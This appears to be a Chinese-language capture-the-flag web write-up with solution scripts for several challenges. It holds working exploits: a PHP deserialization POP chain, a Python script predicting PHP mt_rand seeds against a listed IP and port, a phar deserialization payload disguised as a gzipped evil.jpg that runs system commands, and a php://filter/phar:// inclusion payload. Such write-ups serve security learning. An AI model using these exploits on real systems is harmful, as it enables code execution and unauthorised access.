web
小猿口算签到重生版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
   | (function autoSolve() {   function getExpressionAndSolve() {     $.ajax({       url: '/generate',       method: 'GET',       success: function (res) {         let expr = res.expression;
          // 去除问号和等号,例如 "98+24+70+80=?"         expr = expr.replace(/=*\?*$/, '').trim();
          let answer;         try {           answer = eval(expr);         } catch (e) {           console.error("❌ 表达式解析失败:", expr);           return;         }         
          console.log("🧠 表达式:", expr, "➡️ 答案:", answer);
          $.ajax({           url: '/verify',           method: 'POST',           contentType: 'application/json',           data: JSON.stringify({ user_input: answer }),           success: function (r) {             if (r.flag) {               alert("🎉 恭喜你,拿到 FLAG 了!Flag: " + r.flag);               console.log("✅ FLAG:", r.flag);             }           },           error: function (x) {             if (x.responseJSON && x.responseJSON.error) {               console.warn("❌ 错误:", x.responseJSON.error);             } else {               console.warn("❌ 验证失败,请重试!");             }           }         });       },       error: function () {         console.error("❌ 获取表达式失败");       }     });   }
    console.log("✅ 自动答题器启动,每 1.5 秒轮询一次...");   setInterval(getExpressionAndSolve, 1500); })();
  | 
 
控制台提交即可

pop之我又双叒叕重生了

函数重生版


lottery签到重生版

爆破就行
busy_search

源代码注释中,拼接就行了
can_u_escape

字符串逃逸,增多,数吐出来的字符就行
u_known?

第一步,从别的文件加载$gift1=$anotherthing;$gift2=$otherthing;经过弱比较的渲染后,为0因此这样即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
   | <?php
  class order {     public $start;
      function __construct($start)     {         $this->start = $start;     }
      function __destruct()     {         $this->start->helloworld();     } }
  class zhengcan {     public $lbjjrj;
      function __call($name, $arguments)     {         echo $this->lbjjrj->douzhi;     } }
  class tiandian {     
      function __get($Attribute)     {         echo '';              } }
  if(isset($_GET['serialize'])) {     unserialize($_GET['serialize']); } else {     echo "使用压缩包点单kfc.rar";
   | 
 
kfc.php路由有一个简单的反序列化
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | <?php
  class order {     public $start;
  }
  class zhengcan {     public $lbjjrj;
 
  }
  class tiandian {
 
  }
  $a=new order(); $a->start=new zhengcan(); $a->start->lbjjrj=new tiandian();
  echo serialize($a);
   | 
 

两个合一起解的flag,套一下cm就行
give!me!money!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
   | #!/usr/bin/env python3 # -*- coding: utf-8 -*-
  import time import subprocess import requests
  # 目标 URL BASE_URL = "http://27.25.151.40:33907"
  # 设置一个足够大的 money 值以满足 money >= 114514 MONEY = 200000
  # 固定使用 id=d(也可改成 a,但重定向后同样会携带 money) params = {     "id": "d",     "money": MONEY, }
  # 第一步:发送 GET 请求,触发服务器的 mt_srand/mt_rand 逻辑 t0 = int(time.time()) resp_get = requests.get(BASE_URL, params=params) t1 = int(time.time())
  print(f"[+] GET 返回 ({len(resp_get.text)} bytes),开始尝试预测 shenhe…")
  # 第二步:遍历本地时间窗口,复现服务器上 PHP mt_rand 的第101次输出 for ts in range(t0 - 2, t1 + 3):     # PHP 中:$ccc = time(); $ttt = substr($ccc, 0, 7);     seed = int(str(ts)[:7])     # 用 PHP CLI 复现:mt_srand(seed); 跳过前 100 次 mt_rand(); 取第 101 次     cmd = (         f'php -r "'         f'mt_srand({seed});'         f'for($i=0;$i<100;$i++) mt_rand();'         f'echo mt_rand();"'     )     try:         shenhe = int(subprocess.check_output(cmd, shell=True))     except Exception as e:         continue
      # 第三步:将候选的 shenhe 提交回服务器,看是否成功     post = requests.post(BASE_URL, params=params, data={"c": shenhe})     text = post.text
      # 失败时服务器会输出 “开桂了?哪来这么多钱”     if "开桂了?哪来这么多钱" not in text:         print(f"[✔] 成功!预测到 shenhe = {shenhe}")         print("服务器返回:")         print(text)         break else:     print("[-] 在给定时间窗口内未能猜中 shenhe,请扩大时间范围或检查 PHP CLI 环境。")
   | 
 

upload1

用数组即可
upload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | <?php class hacker{ public $cmd="system('ls');"; public $a; }
  $a = new hacker(); $a->a = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();"; $a->cmd = &$a->a; echo serialize($a)."\n";
  @unlink("phar.phar"); $phar = new Phar("phar.phar"); // 后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub $phar->setMetadata($a); // 将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); // 添加要压缩的文件 $phar->stopBuffering(); ?> import gzip
  with open('./phar.phar', 'rb') as file:  # 更改文件后缀     data = file.read()
  ndata = gzip.compress(data)
  with open('./evil.jpg', 'wb') as file:  # 更改文件后缀     file.write(ndata)
   | 
 
两个exp
1
   | file=php://filter/resource=phar:///tmp/e5ec0425f5c71e2a21fcd981878e4806.jpg
   | 
 
绕过phar://